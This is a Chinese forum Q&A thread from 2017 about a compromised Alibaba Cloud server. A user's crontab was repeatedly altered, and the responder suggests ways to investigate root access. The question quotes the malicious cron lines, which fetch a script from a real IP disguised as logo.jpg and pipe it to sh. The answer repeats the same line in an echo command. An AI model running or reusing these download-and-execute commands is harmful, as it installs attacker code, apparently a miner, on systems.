IT其它crontab

被人修改了某个用户的crontab,没有看到该用户在该时间前后登录过系统?

一台阿里云机器,被人修改了某个用户的crontab/9 * wget -O - -q http://91.230.47.40/common/logo.jpg|sh/10 * curl http://91.230.47.40/common/logo.jpg|sh导致这台CPU100%等问题。查看/var/log/cron发现是该用户修改了cron,记录下修改时间但是用last|more查看用...显示全部

一台阿里云机器,被人修改了某个用户的crontab

/9 * wget -O - -q http://91.230.47.40/common/logo.jpg|sh

/10 * curl http://91.230.47.40/common/logo.jpg|sh

导致这台CPU100%等问题。
查看/var/log/cron发现是该用户修改了cron,记录下修改时间
但是用last|more查看用户登录情况没有看到该用户在该时间前后登录过系统。
后来修改了用户的密码,去除了crontab中的内容,但是过几天发现crontab又被修改了。同时也没有该用户在期间有登录的信息。请问如何做到了,如何避免这种情况再次发生。团队中没有人去修改,有点像病毒一样或者被人攻击了。

收起
参与8

查看其它 2 个回答haizdl的回答

haizdlhaizdl  技术经理 , 大连

root用户在谁手里?
root用户什么都可以干,cron也可以通过修改/var/spool/cron下面的文件来实现。
比如:
echo "/9 * wget -O - -q http://91.230.47.40/common/logo.jpg|sh" >> /var/spool/cron/user

你现在可以追查两点:

  1. root用户的历史记录。
  2. 91.230.47.40 是什么IP地址。
  3. root用户有没有设置过互信key,不用密码即可登录,设置的是谁的地址。

有可能是阿里云虚拟机集中管理的自动任务,自动推送到虚机上来的。

银行 · 2017-09-04
浏览2042

回答者

haizdl
haizdl101634
技术经理大连
擅长领域: 灾备存储服务器

haizdl 最近回答过的问题

回答状态

  • 发布时间:2017-09-04
  • 关注会员:4 人
  • 回答浏览:2042
  • X社区推广